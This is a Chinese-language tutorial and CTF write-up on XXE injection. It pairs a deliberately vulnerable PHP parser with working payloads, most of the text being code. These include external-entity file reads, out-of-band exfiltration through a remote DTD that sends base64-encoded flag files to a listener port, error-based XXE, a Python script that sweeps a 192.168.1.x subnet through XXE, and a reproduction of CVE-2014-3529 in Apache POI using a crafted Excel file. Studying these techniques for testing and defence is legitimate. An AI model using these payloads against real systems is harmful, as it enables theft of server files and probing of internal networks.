XXE漏洞分析及实战

XXE

常用 payload 分析#

好像大家都用这个测试代码

<?php

libxml_disable_entity_loader(false);

$xmlfile = file_get_contents("php://input");
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
var_dump($creds);

使用 XML 发送数据：

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY a SYSTEM "http://localhost:8887/aaaaa">
]>
<root>&a;</root>

但是我在尝试参数实体的时候似乎不能外带数据

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY % a "http://localhost:8887/aaa">
%a;
]>
<root></root>

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嵌套也是不行的

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % file SYSTEM "file:///flag.txt">  
	<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://localhost:8887/?%file;'>">
	%start;
	%send;
]>

最常用的外带数据的方法：

在自己的 vps 上准备两个文件，我这里就就都在本机做的实验

本地的 8001 端口开一个 web 服务，

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local.xml 文件内容：

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://localhost:8887/?%file;'>">
%start;

这个文件表示读取到数据之后发送给另一个 8887 端口，然后我们向受害者服务器发送数据，

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">  
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.txt">
	%remote;
	%send;
]>
<message>1234</message>

然后就可以在 8887 端口接收到数据了

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换一种 payload 也行

DTD 文件

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:8887/p=%file;'>">

发送的 paylod

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

报错 XXE#

这个方法 p 牛其实早就说过了，通过三层嵌套的 XML 就可以达到报错

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ELEMENT message ANY>
	<!ENTITY % para1 SYSTEM "file:///flag">
	<!ENTITY % para '
		<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
		&#x25;para2;
	'>
	%para;
]>
<message>10</message>

XXE 探测内网#

import requests
import base64
#Origtional XML that the server accepts

#<xml>

#    <stuff>user</stuff>

#</xml>



def build_xml(string):
    xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
    xml = xml + "\r\n" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
    xml = xml + "\r\n" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
    xml = xml + "\r\n" + """<xml>"""
    xml = xml + "\r\n" + """    <stuff>&xxe;</stuff>"""
    xml = xml + "\r\n" + """</xml>"""
    send_xml(xml)

def send_xml(xml):
    headers = {'Content-Type': 'application/xml'}
    x = requests.post('http://127.0.0.1/xml.php', data=xml, headers=headers, timeout=5).text
    coded_string = x.split(' ')[-2] # a little split to get only the base64 encoded value
    print coded_string
#   print base64.b64decode(coded_string)

for i in range(1, 255):
    try:
        i = str(i)
        ip = '192.168.1.' + i
        string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
        print string
        build_xml(string)
    except:
      print "error"
continue

实例分析#

网鼎杯 2020 fileJava#

用到的漏洞就是 CVE20143529

复现代码

import org.apache.poi.EncryptedDocumentException;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;
import java.io.FileInputStream;
import java.io.IOException;
public class CVE20143529 {
    public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException {
        Workbook wb1 = WorkbookFactory.create(new FileInputStream("test1.xlsx"));
        Sheet sheet = wb1.getSheetAt(0);
        System.out.println(sheet.getLastRowNum());
    }
}

pom.xml

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>pxyapache</groupId>
    <artifactId>pxypxy</artifactId>
    <version>1.0-SNAPSHOT</version>
    <dependencies>
        <dependency>
            <groupId>org.apache.poi</groupId>
            <artifactId>poi-ooxml</artifactId>
            <version>3.10-FINAL</version>
        </dependency>
    </dependencies>

</project>

利用过程：

准备一个 excel 文件：

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:8001/local.xml">
%remote;%int;%send;
]>

准备 DTD 文件

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:8887/p=%file;'>">

会读取文件，然后将其发送到 8887 端口上

监听得到的 flag

参考#

YouTube 这个视频其实讲的不错：https://youtu.be/gjm6VHZa_8s?si=rMGJmuSI9XJNtt_S